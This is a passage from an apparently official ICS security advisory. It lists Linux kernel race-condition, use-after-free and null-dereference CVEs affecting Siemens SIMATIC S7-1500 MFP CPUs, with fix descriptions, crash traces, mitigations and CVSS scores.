<p>In the Linux kernel, the following vulnerability has been resolved: ext4: add i_data_sem protection in ext4_destroy_inline_data_nolock() Fix a race between inline data destruction and block mapping. The function ext4_destroy_inline_data_nolock() changes the inode data layout by clearing EXT4_INODE_INLINE_DATA and setting EXT4_INODE_EXTENTS. At the same time, another thread may execute ext4_map_blocks(), which tests EXT4_INODE_EXTENTS to decide whether to call ext4_ext_map_blocks() or ext4_ind_map_blocks(). Without i_data_sem protection, ext4_ind_map_blocks() may receive inode with EXT4_INODE_EXTENTS flag and triggering assert. kernel BUG at fs/ext4/indirect.c:546! EXT4-fs (loop2): unmounting filesystem. invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014 RIP: 0010:ext4_ind_map_blocks.cold+0x2b/0x5a fs/ext4/indirect.c:546 Call Trace: ext4_map_blocks+0xb9b/0x16f0 fs/ext4/inode.c:681 _ext4_get_block+0x242/0x590 fs/ext4/inode.c:822 ext4_block_write_begin+0x48b/0x12c0 fs/ext4/inode.c:1124 ext4_write_begin+0x598/0xef0 fs/ext4/inode.c:1255 ext4_da_write_begin+0x21e/0x9c0 fs/ext4/inode.c:3000 generic_perform_write+0x259/0x5d0 mm/filemap.c:3846 ext4_buffered_write_iter+0x15b/0x470 fs/ext4/file.c:285 ext4_file_write_iter+0x8e0/0x17f0 fs/ext4/file.c:679 call_write_iter include/linux/fs.h:2271 [inline] do_iter_readv_writev+0x212/0x3c0 fs/read_write.c:735 do_iter_write+0x186/0x710 fs/read_write.c:861 vfs_iter_write+0x70/0xa0 fs/read_write.c:902 iter_file_splice_write+0x73b/0xc90 fs/splice.c:685 do_splice_from fs/splice.c:763 [inline] direct_splice_actor+0x10f/0x170 fs/splice.c:950 splice_direct_to_actor+0x33a/0xa10 fs/splice.c:896 do_splice_direct+0x1a9/0x280 fs/splice.c:1002 do_sendfile+0xb13/0x12c0 fs/read_write.c:1255 __do_sys_sendfile64 fs/read_write.c:1323 [inline] __se_sys_sendfile64 fs/read_write.c:1309 [inline] __x64_sys_sendfile64+0x1cf/0x210 fs/read_write.c:1309 do_syscall_x64 arch/x86/entry/common.c:51 [inline] do_syscall_64+0x35/0x80 arch/x86/entry/common.c:81 entry_SYSCALL_64_after_hwframe+0x6e/0xd8</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68261">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/367.html">CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68264</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: refresh inline data size before write operations The cached ei-&gt;i_inline_size can become stale between the initial size check and when ext4_update_inline_data()/ext4_create_inline_data() use it. Although ext4_get_max_inline_size() reads the correct value at the time of the check, concurrent xattr operations can modify i_inline_size before ext4_write_lock_xattr() is acquired. This causes ext4_update_inline_data() and ext4_create_inline_data() to work with stale capacity values, leading to a BUG_ON() crash in ext4_write_inline_data(): kernel BUG at fs/ext4/inline.c:1331! BUG_ON(pos + len &gt; EXT4_I(inode)-&gt;i_inline_size); The race window: 1. ext4_get_max_inline_size() reads i_inline_size = 60 (correct) 2. Size check passes for 50-byte write 3. [Another thread adds xattr, i_inline_size changes to 40] 4. ext4_write_lock_xattr() acquires lock 5. ext4_update_inline_data() uses stale i_inline_size = 60 6. Attempts to write 50 bytes but only 40 bytes actually available 7. BUG_ON() triggers Fix this by recalculating i_inline_size via ext4_find_inline_data_nolock() immediately after acquiring xattr_sem. This ensures ext4_update_inline_data() and ext4_create_inline_data() work with current values that are protected from concurrent modifications. This is similar to commit a54c4613dac1 ("ext4: fix race writing to an inline_data file while its xattrs are changing") which fixed i_inline_off staleness. This patch addresses the related i_inline_size staleness issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68264">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68265</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nvme: fix admin request_queue lifetime The namespaces can access the controller's admin request_queue, and stale references on the namespaces may exist after tearing down the controller. Ensure the admin request_queue is active by moving the controller's 'put' to after all controller references have been released to ensure no one is can access the request_queue. This fixes a reported use-after-free bug: BUG: KASAN: slab-use-after-free in blk_queue_enter+0x41c/0x4a0 Read of size 8 at addr ffff88c0a53819f8 by task nvme/3287 CPU: 67 UID: 0 PID: 3287 Comm: nvme Tainted: G E 6.13.2-ga1582f1a031e #15 Tainted: [E]=UNSIGNED_MODULE Hardware name: Jabil /EGS 2S MB1, BIOS 1.00 06/18/2025 Call Trace: dump_stack_lvl+0x4f/0x60 print_report+0xc4/0x620 ? _raw_spin_lock_irqsave+0x70/0xb0 ? _raw_read_unlock_irqrestore+0x30/0x30 ? blk_queue_enter+0x41c/0x4a0 kasan_report+0xab/0xe0 ? blk_queue_enter+0x41c/0x4a0 blk_queue_enter+0x41c/0x4a0 ? __irq_work_queue_local+0x75/0x1d0 ? blk_queue_start_drain+0x70/0x70 ? irq_work_queue+0x18/0x20 ? vprintk_emit.part.0+0x1cc/0x350 ? wake_up_klogd_work_func+0x60/0x60 blk_mq_alloc_request+0x2b7/0x6b0 ? __blk_mq_alloc_requests+0x1060/0x1060 ? __switch_to+0x5b7/0x1060 nvme_submit_user_cmd+0xa9/0x330 nvme_user_cmd.isra.0+0x240/0x3f0 ? force_sigsegv+0xe0/0xe0 ? nvme_user_cmd64+0x400/0x400 ? vfs_fileattr_set+0x9b0/0x9b0 ? cgroup_update_frozen_flag+0x24/0x1c0 ? cgroup_leave_frozen+0x204/0x330 ? nvme_ioctl+0x7c/0x2c0 blkdev_ioctl+0x1a8/0x4d0 ? blkdev_common_ioctl+0x1930/0x1930 ? fdget+0x54/0x380 __x64_sys_ioctl+0x129/0x190 do_syscall_64+0x5b/0x160 entry_SYSCALL_64_after_hwframe+0x4b/0x53 RIP: 0033:0x7f765f703b0b Code: ff ff ff 85 c0 79 9b 49 c7 c4 ff ff ff ff 5b 5d 4c 89 e0 41 5c c3 66 0f 1f 84 00 00 00 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 8b 0d dd 52 0f 00 f7 d8 64 89 01 48 RSP: 002b:00007ffe2cefe808 EFLAGS: 00000202 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 00007ffe2cefe860 RCX: 00007f765f703b0b RDX: 00007ffe2cefe860 RSI: 00000000c0484e41 RDI: 0000000000000003 RBP: 0000000000000000 R08: 0000000000000003 R09: 0000000000000000 R10: 00007f765f611d50 R11: 0000000000000202 R12: 0000000000000003 R13: 00000000c0484e41 R14: 0000000000000001 R15: 00007ffe2cefea60</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68265">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68266</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bfs: Reconstruct file type when loading from disk syzbot is reporting that S_IFMT bits of inode-&gt;i_mode can become bogus when the S_IFMT bits of the 32bits "mode" field loaded from disk are corrupted or when the 32bits "attributes" field loaded from disk are corrupted. A documentation says that BFS uses only lower 9 bits of the "mode" field. But I can't find an explicit explanation that the unused upper 23 bits (especially, the S_IFMT bits) are initialized with 0. Therefore, ignore the S_IFMT bits of the "mode" field loaded from disk. Also, verify that the value of the "attributes" field loaded from disk is either BFS_VREG or BFS_VDIR (because BFS supports only regular files and the root directory).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68266">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68291</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: Initialise rcv_mss before calling tcp_send_active_reset() in mptcp_do_fastclose(). syzbot reported divide-by-zero in __tcp_select_window() by MPTCP socket. [0] We had a similar issue for the bare TCP and fixed in commit 499350a5a6e7 ("tcp: initialize rcv_mss to TCP_MIN_MSS instead of 0"). Let's apply the same fix to mptcp_do_fastclose(). [0]: Oops: divide error: 0000 [#1] SMP KASAN PTI CPU: 0 UID: 0 PID: 6068 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025 RIP: 0010:__tcp_select_window+0x824/0x1320 net/ipv4/tcp_output.c:3336 Code: ff ff ff 44 89 f1 d3 e0 89 c1 f7 d1 41 01 cc 41 21 c4 e9 a9 00 00 00 e8 ca 49 01 f8 e9 9c 00 00 00 e8 c0 49 01 f8 44 89 e0 99 7c 24 1c 41 29 d4 48 bb 00 00 00 00 00 fc ff df e9 80 00 00 00 RSP: 0018:ffffc90003017640 EFLAGS: 00010293 RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffff88807b469e40 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffc90003017730 R08: ffff888033268143 R09: 1ffff1100664d028 R10: dffffc0000000000 R11: ffffed100664d029 R12: 0000000000000000 R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 FS: 000055557faa0500(0000) GS:ffff888126135000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f64a1912ff8 CR3: 0000000072122000 CR4: 00000000003526f0 Call Trace: tcp_select_window net/ipv4/tcp_output.c:281 [inline] __tcp_transmit_skb+0xbc7/0x3aa0 net/ipv4/tcp_output.c:1568 tcp_transmit_skb net/ipv4/tcp_output.c:1649 [inline] tcp_send_active_reset+0x2d1/0x5b0 net/ipv4/tcp_output.c:3836 mptcp_do_fastclose+0x27e/0x380 net/mptcp/protocol.c:2793 mptcp_disconnect+0x238/0x710 net/mptcp/protocol.c:3253 mptcp_sendmsg_fastopen+0x2f8/0x580 net/mptcp/protocol.c:1776 mptcp_sendmsg+0x1774/0x1980 net/mptcp/protocol.c:1855 sock_sendmsg_nosec net/socket.c:727 [inline] __sock_sendmsg+0xe5/0x270 net/socket.c:742 __sys_sendto+0x3bd/0x520 net/socket.c:2244 __do_sys_sendto net/socket.c:2251 [inline] __se_sys_sendto net/socket.c:2247 [inline] __x64_sys_sendto+0xde/0x100 net/socket.c:2247 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0xfa0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f66e998f749 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffff9acedb8 EFLAGS: 00000246 ORIG_RAX: 000000000000002c RAX: ffffffffffffffda RBX: 00007f66e9be5fa0 RCX: 00007f66e998f749 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000003 RBP: 00007ffff9acee10 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001 R13: 00007f66e9be5fa0 R14: 00007f66e9be5fa0 R15: 0000000000000006</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68291">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/909.html">CWE-909 Missing Initialization of Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68337</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: jbd2: avoid bug_on in jbd2_journal_get_create_access() when file system corrupted There's issue when file system corrupted: ------------[ cut here ]------------ kernel BUG at fs/jbd2/transaction.c:1289! Oops: invalid opcode: 0000 [#1] SMP KASAN PTI CPU: 5 UID: 0 PID: 2031 Comm: mkdir Not tainted 6.18.0-rc1-next RIP: 0010:jbd2_journal_get_create_access+0x3b6/0x4d0 RSP: 0018:ffff888117aafa30 EFLAGS: 00010202 RAX: 0000000000000000 RBX: ffff88811a86b000 RCX: ffffffff89a63534 RDX: 1ffff110200ec602 RSI: 0000000000000004 RDI: ffff888100763010 RBP: ffff888100763000 R08: 0000000000000001 R09: ffff888100763028 R10: 0000000000000003 R11: 0000000000000000 R12: 0000000000000000 R13: ffff88812c432000 R14: ffff88812c608000 R15: ffff888120bfc000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f91d6970c99 CR3: 00000001159c4000 CR4: 00000000000006f0 Call Trace: __ext4_journal_get_create_access+0x42/0x170 ext4_getblk+0x319/0x6f0 ext4_bread+0x11/0x100 ext4_append+0x1e6/0x4a0 ext4_init_new_dir+0x145/0x1d0 ext4_mkdir+0x326/0x920 vfs_mkdir+0x45c/0x740 do_mkdirat+0x234/0x2f0 __x64_sys_mkdir+0xd6/0x120 do_syscall_64+0x5f/0xfa0 entry_SYSCALL_64_after_hwframe+0x76/0x7e The above issue occurs with us in errors=continue mode when accompanied by storage failures. There have been many inconsistencies in the file system data. In the case of file system data inconsistency, for example, if the block bitmap of a referenced block is not set, it can lead to the situation where a block being committed is allocated and used again. As a result, the following condition will not be satisfied then trigger BUG_ON. Of course, it is entirely possible to construct a problematic image that can trigger this BUG_ON through specific operations. In fact, I have constructed such an image and easily reproduced this issue. Therefore, J_ASSERT() holds true only under ideal conditions, but it may not necessarily be satisfied in exceptional scenarios. Using J_ASSERT() directly in abnormal situations would cause the system to crash, which is clearly not what we want. So here we directly trigger a JBD abort instead of immediately invoking BUG_ON.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68337">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68349</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFSv4/pNFS: Clear NFS_INO_LAYOUTCOMMIT in pnfs_mark_layout_stateid_invalid Fixes a crash when layout is null during this call stack: write_inode -&gt; nfs4_write_inode -&gt; pnfs_layoutcommit_inode pnfs_set_layoutcommit relies on the lseg refcount to keep the layout around. Need to clear NFS_INO_LAYOUTCOMMIT otherwise we might attempt to reference a null layout.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68349">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68363</a></h3>
<div class="csaf-accordion-content">
